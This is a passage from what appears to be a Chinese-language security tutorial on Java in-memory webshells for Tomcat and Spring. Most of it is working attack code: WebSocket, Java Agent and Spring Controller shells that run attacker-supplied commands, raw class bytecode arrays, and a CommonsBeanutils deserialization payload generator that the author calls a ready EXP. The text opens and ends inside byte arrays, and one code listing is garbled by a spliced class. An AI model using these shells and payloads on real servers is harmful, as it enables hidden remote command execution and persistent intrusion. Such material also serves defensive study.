111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 7, 0, -111, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 17, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 1, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 1, 120, 0, 4, 0, 8, 0, 0, 0, -111, 4, 61, 18, 2, -72, 0, 3, 78, 45, -58, 0, 17, 45, -74, 0, 4, 18, 5, -74, 0, 6, -103, 0, 5, 3, 61, 28, -103, 0, 24, 6, -67, 0, 7, 89, 3, 18, 8, 83, 89, 4, 18, 9, 83, 89, 5, 43, 83, -89, 0, 21, 6, -67, 0, 7, 89, 3, 18, 10, 83, 89, 4, 18, 11, 83, 89, 5, 43, 83, 58, 4, -72, 0, 12, 25, 4, -74, 0, 13, -74, 0, 14, 58, 5, -69, 0, 15, 89, 25, 5, -73, 0, 16, 18, 17, -74, 0, 18, 58, 6, 25, 6, -74, 0, 19, -103, 0, 11, 25, 6, -74, 0, 20, -89, 0, 5, 18, 21, 58, 7, 42, -76, 0, 22, -71, 0, 23, 1, 0, 25, 7, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -120, 0, -117, 0, 25, 0, 3, 0, 37, 0, 0, 0, 54, 0, 13, 0, 0, 0, 24, 0, 2, 0, 25, 0, 8, 0, 26, 0, 24, 0, 27, 0, 26, 0, 29, 0, 71, 0, 30, 0, 84, 0, 31, 0, 100, 0, 32, 0, 120, 0, 33, 0, -120, 0, 36, 0, -117, 0, 34, 0, -116, 0, 35, 0, -112, 0, 37, 0, 38, 0, 0, 0, 92, 0, 9, 0, 2, 0, -122, 0, 43, 0, 44, 0, 2, 0, 8, 0, -128, 0, 45, 0, 46, 0, 3, 0, 71, 0, 65, 0, 47, 0, 48, 0, 4, 0, 84, 0, 52, 0, 49, 0, 50, 0, 5, 0, 100, 0, 36, 0, 51, 0, 52, 0, 6, 0, 120, 0, 16, 0, 53, 0, 46, 0, 7, 0, -116, 0, 4, 0, 54, 0, 55, 0, 2, 0, 0, 0, -111, 0, 39, 0, 40, 0, 0, 0, 0, 0, -111, 0, 56, 0, 46, 0, 1, 0, 57, 0, 0, 0, 47, 0, 7, -3, 0, 26, 1, 7, 0, 58, 24, 81, 7, 0, 59, -2, 0, 46, 7, 0, 59, 7, 0, 60, 7, 0, 61, 65, 7, 0, 58, -1, 0, 20, 0, 2, 7, 0, 62, 7, 0, 58, 0, 1, 7, 0, 63, 4, 0, 1, 0, 64, 0, 65, 0, 1, 0, 36, 0, 0, 0, 83, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 22, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 14, 0, 3, 0, 0, 0, 41, 0, 5, 0, 42, 0, 12, 0, 43, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 13, 0, 39, 0, 40, 0, 0, 0, 0, 0, 13, 0, 32, 0, 33, 0, 1, 0, 0, 0, 13, 0, 66, 0, 67, 0, 2, 16, 65, 0, 41, 0, 68, 0, 1, 0, 36, 0, 0, 0, 51, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 7, -74, 0, 28, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 17, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 39, 0, 40, 0, 0, 0, 3, 0, 69, 0, 0, 0, 2, 0, 72, 0, 73, 0, 0, 0, 2, 0, 74, 0, 71, 0, 0, 0, 18, 0, 2, 0, 31, 0, 110, 0, 70, 6, 9, 0, 102, 0, -118, 0, -120, 6, 9};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
if (null == container.findMapping(urlPath)) {
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
e.printStackTrace();
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
EvilWebsocket类,主要是想拿到它的字节码,然后加载进JVM中:
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class EvilWebsocket extends Endpoint implements MessageHandler.Whole {
private Session session;
@Override
public void onMessage(String command) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
session.getBasicRemote().sendText(output);
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
之后可以使用以下python代码作为一个简单的websocket客户端执行命令:
import websocket
ws = websocket.create_connection("ws://127.0.0.1:8080/evilWebsocket")
while True:
command = input("")
if command != "exit":
ws.send(command)
result = ws.recv()
print(result)
else:
ws.close()
break
执行结果:
jsp注入Tomcat-Websocket 型内存马
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%!
public static class EvilWebsocket extends Endpoint implements MessageHandler.Whole {
private Session session;
@Override
public void onMessage(String command) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
session.getBasicRemote().sendText(output);
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = "/evilWebsocket";
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(EvilWebsocket.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
try {
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
} catch (Exception e) {
}
%>
Java-Agent 型内存马
基本原理
Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意代码添加进去。
Java Agent 支持两种方式进行加载:
-
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
-
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
实现 premain 方法在RASP中必用到,但是因为通过premain注入内存马过于鸡肋,需要重新启动Web服务,制定-javaagent,这里就不再介绍。先写一个简单的实现了agentmain 方法的例子:
package org.example;
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.example.Hello";
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TestTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class TestTransformer implements ClassFileTransformer {
public static final String ClassName = "org.example.Hello";
public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
try {
ClassPool pool = ClassPool.getDefault();
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("Hello");
m.insertBefore("System.out.println(\"Attach Successful!\");");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
打成jar包:
之后我们写以下几个类:
package org.example;
import java.util.Scanner;
public class HelloWorld {
public static void main(String[] args) {
Hello h1 = new Hpackage org.example;
public class Hello {
public void Hello() {
System.out.println("Hello World!");
}
}ello();
h1.Hello();
while (true)
{
Scanner sc = new Scanner(System.in);
sc.nextInt();
Hello h2 = new Hello();
h2.Hello();
}
}
}
package org.example;
public class Hello {
public void Hello() {
System.out.println("Hello World!");
}
}
package org.example;
public class Attach {
public static void main(String[] args) {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null);
for(int i=0;i
tools.jar 不会在 JVM 启动的时候默认加载,这里通过URLClassLoader加载tools.jar。attach到org.example.HelloWorld,加载agent.jar更改Hello类的Hello方法,将System.out.println(\"Attach Successful!\");
插入到了Hello方法前面。
执行HelloWorld的main方法,输出了一次Hello World:
执行Attach的main方法后,随意输入一个数,可以看到Hello类的Hello方法已经被改变:
了解JavaAgent后,我们可以来打内存马了。还记得我们在Filter内存马那里的流程分析吗?在经过org.apache.catalina.core.ApplicationFilterFactory#createFilterChain后我们得到了一个ApplicationFilterChain对象,之后又调用了这个ApplicationFilterChain对象的doFilter函数,其中有request对象参数和response对象参数。因此我们可以更改ApplicationFilterChain类的doFilter函数,向它的前面添加一些恶意代码。
反序列化注入 JavaAgent 型内存马
首先创建一个简单的SpringBoot项目,并导入common-beanutils依赖,以下是一个示例controller:
package com.example.vul_demo.controllers;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
@Controller
public class DeserializeController {
@ResponseBody
@PostMapping("/deserialize")
public String Vuln(@RequestParam(required = false, name = "bytecodes") String encodedBytecodes) throws Exception{
// System.out.println(encodedBytecodes);
if(encodedBytecodes == null){
return "Hello, World!";
}else {
System.out.println(encodedBytecodes);
byte[] bytecodes = Base64.getDecoder().decode(encodedBytecodes);
InputStream inputStream = new ByteArrayInputStream(bytecodes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
}
return "Hello World!";
}
@ResponseBody
@GetMapping("/index")
public String sayHello(HttpServletRequest request, HttpServletResponse response) throws Exception{
try {
System.out.println("hello world");
} catch (Exception e) {
e.printStackTrace();
}
return "Hello!!!";
}
}
之后给出生成payload的代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(AgentTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}
恶意模板类:
将以下项目打成jar包:
package org.example;
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TestTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
ClassFileTransformer的实现类:
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class TestTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
String a = "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getWriter().write(sb.toString());\n" +
" response.getWriter().flush();\n" +
" response.getWriter().close();\n"+
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}";
m.insertBefore(a);
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
利用生成的payload打,以下是注入结果:
可以看到,上面提到的这种注入Java Agent内存马的方法仍然需要上传文件。不过,在rebeyond师傅的这篇文章https://xz.aliyun.com/t/11640介绍了通过Java AgentNoFile的方式植入内存马,整个过程中不会有文件在磁盘上落地,而且不会在JVM中新增类,甚至连方法也不会增加。膜一波!
SpringMVC Controller 内存马注入
基础知识
ApplicationContext
Spring容器就是ApplicationContext,它是一个接口,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。从ApplicationContext中可以根据Bean的ID获取Bean。
Spring还提供另一种IoC容器叫BeanFactory,使用方式和ApplicationContext类似
BeanFactory factory = new XmlBeanFactory(new ClassPathResource("application.xml"));
MailService mailService = factory.getBean(MailService.class);
BeanFactory和ApplicationContext的区别在于: BeanFactory的实现是按需创建,即第一次获取Bean时才创建这个Bean,而ApplicationContext会一次性创建所有的Bean。实际上ApplicationContext接口是从BeanFactory接口继承而来的。BeanFactory 接口是Spring IoC容器的实际代表者。
ContextLoaderListener与DispatcherServlet
一个典型Spring 应用的web.xml 配置示例
HelloSpringMVC
org.springframework.web.context.ContextLoaderListener
contextConfigLocation
/WEB-INF/applicationContext.xml
dispatcherServlet
org.springframework.web.servlet.DispatcherServlet
contextConfigLocation
/WEB-INF/dispatcherServlet-servlet.xml
1
dispatcherServlet
/
-
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,其余都是Child Context。
-
所有Child Context都可以访问在Root Context中定义的bean,但是Root Context无法访问Child Context中定义的 bean。
-
所有的Context在创建后,会作为一个属性被添加到了ServletContext中。
ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他Child Context实例共享它的IoC容器,供其他Child Context获取并使用容器中的bean。
ContextLoaderListener本质上是一个监听器。Spring 实现了 Tomcat 提供的 ServletContextListener 接口,写了一个监听器来监听项目启动,一旦项目启动,会触发 ContextLoaderListener 中的特定方法 contextInitialized
也就是说 Tomcat 的 ServletContext 创建时,会调用 ContextLoaderListener 的 contextInitialized(),这个方法内部的 initWebApplicationContext()就是用来初始化 Spring 的 IOC 容器的。
-
ServletContext 对象是 Tomcat 的;
-
ServletContextListener 是 Tomcat 提供的接口;
-
ContextLoaderListener 是 Spring 写的,实现了 ServletContextListener;
-
contextConfigLocation
/WEB-INF/applicationContext.xml
org.springframework.web.context.ContextLoaderListener
Spring 自己写的监听器,用来创建 Spring IOC 容器;
其相关配置如下:
DispatcherServlet 从本质上来讲是一个 Servlet(它继承自HttpServlet)。它的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。DispatcherServlet初始化完成后,会创建一个普通的Child Context实例。
综上: 每个具体的DispatcherServlet创建的是一个Child Context,代表一个独立的IoC容器;而 ContextLoaderListener所创建的是一个Root Context,代表全局唯一的一个公共 IoC 容器。
如果要访问和操作bean,一般要获得当前代码执行环境的IoC 容器(Child Context)代表者ApplicationContext。
有以下几种办法获取代码运行时的上下文环境:
第一种:
WebApplicationContext context = ContextLoaderListener.getCurrentWebApplicationContext();
getCurrentWebApplicationContext 获得的是 Root WebApplicationContext。但是请注意,打入内存马使用这种方式获取上下文环境时有一些限制,一种是目标不能是SpringBoot。我们刚刚看到ContextLoaderListener 如果要实现它应有的功能,是需要在 web.xml 中配置的。而 SpringBoot 中无论是以 main 方法还是 spring-boot:run 的方式执行都不跑 SpringBootServletInitializer 中的 onStartup, 导致 ContextLoaderListener 没有执行。因此通过这种办法获取到的context为null:
![图片](http://img.e-com-net.com/image/info8/8a7a5fc62b0b4806b584d45a8a20db84.jpg)
还有一直限制就是有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过这种方法也是获取不到Root WebApplicationContext的。
第二种:
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
使用这种方法可以获得一个名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。
流程分析
先编写一个简单的Controller,之后在Controller类下断,然后访问配置的路由:
DispatcherServlet的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。我们可以看到我们的Web请求经过DispatcherServlet的doDispatch方法处理后被转发了过来:
对调用栈向上回溯看看DispatcherServlet是怎么做的分发:
通过调用HandlerAdapter类的handle方法对request和response对象进行处理,并且通过调用org.springframework.web.servlet.HandlerExecutionChain#getHandler方法获取了mappedHandler的handler字段。我们看一下mappedHandler是怎么来的:
跟进org.springframework.web.servlet.DispatcherServlet#getHandler
:
可以发现mappedHandler是对handlerMappings遍历后调用getHandler()得到的,打下断点,跟进到了org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
:
在此处又调用了相应HandlerMapping实现类的getHandlerInternal()方法:
跟进后,发现又调用了父类的getHandlerInternal()方法,即org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal
:
首先获取了我们设置的路由,之后对mappingRegistry进行上锁,最后解锁。在mappingRegistry中存储了路由信息:
之后调用了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod,我们跟进一下:
可以看到,是从mappingRegistry中获取路由。那接下来我们需要做的就是在mappingRegistry中添加路由。在AbstractHandlerMethodMapping中就提供了registerMapping添加路由。
但是AbstractHandlerMethodMapping类为抽象类。不过我们可以从当前上下文环境中获得RequestMappingHandlerMapping的实例bean:
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
反序列化注入SpringBoot Controller 内存马
spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER
在给出EXP前,首先给大家提一个醒,springboot 2.6.x 以上版本对路由匹配方式进行了修改,以往的手动注册方式会导致任意请求提示:
java.lang.IllegalArgumentException:
Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".
在网上找解决办法有三种,一种是降低版本,一种是修改默认映射策略:
还有一种方法:https://blog.csdn.net/maple_son/article/details/122572869
因此如果我们直接利用网上给出的EXP来向SpringBoot中注入内存马,是打不成功的。此处给出我写好的EXP,根据注释应该可以看懂。先写一个恶意的Controller:
package com.example.vul_demo;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
@Controller
public class EvilController {
@RequestMapping({"/shell"})
public void MemoryShell(HttpServletRequest request, HttpServletResponse response) {
try {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
else {
response.sendError(404);
}
} catch (Exception var8) {
}
}
}
之后用test2方法生成上面Controller类的字节码,然后跟websocket反序列化类似,从当前线程中拿到ClassLoader,然后将这个恶意的Controller加载进JVM,并按照刚刚提的第三种方法自定义注册RequestMapping:
package com.example.vul_demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
String className = "com.example.vul_demo.EvilController";
//加载com.example.vul_demo.EvilController类的字节码
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -115, 10, 0, 30, 0, 72, 8, 0, 73, 11, 0, 74, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 9, 0, 79, 8, 0, 80, 10, 0, 9, 0, 81, 7, 0, 82, 8, 0, 83, 8, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 87, 0, 88, 10, 0, 87, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 17, 0, 93, 8, 0, 94, 10, 0, 17, 0, 95, 10, 0, 17, 0, 96, 10, 0, 17, 0, 97, 8, 0, 98, 11, 0, 99, 0, 100, 10, 0, 101, 0, 102, 10, 0, 101, 0, 103, 11, 0, 99, 0, 104, 7, 0, 105, 7, 0, 106, 7, 0, 107, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 37, 76, 99, 111, 109, 47, 101, 120, 97, 109, 112, 108, 101, 47, 118, 117, 108, 95, 100, 101, 109, 111, 47, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 59, 1, 0, 11, 77, 101, 109, 111, 114, 121, 83, 104, 101, 108, 108, 1, 0, 82, 40, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 59, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 59, 41, 86, 1, 0, 7, 105, 115, 76, 105, 110, 117, 120, 1, 0, 1, 90, 1, 0, 5, 111, 115, 84, 121, 112, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 1, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 7, 114, 101, 113, 117, 101, 115, 116, 1, 0, 39, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 59, 1, 0, 8, 114, 101, 115, 112, 111, 110, 115, 101, 1, 0, 40, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 82, 7, 0, 45, 7, 0, 108, 7, 0, 92, 7, 0, 106, 7, 0, 109, 7, 0, 110, 7, 0, 105, 1, 0, 16, 77, 101, 116, 104, 111, 100, 80, 97, 114, 97, 109, 101, 116, 101, 114, 115, 1, 0, 25, 82, 117, 110, 116, 105, 109, 101, 86, 105, 115, 105, 98, 108, 101, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 115, 1, 0, 56, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 119, 101, 98, 47, 98, 105, 110, 100, 47, 97, 110, 110, 111, 116, 97, 116, 105, 111, 110, 47, 82, 101, 113, 117, 101, 115, 116, 77, 97, 112, 112, 105, 110, 103, 59, 1, 0, 5, 118, 97, 108, 117, 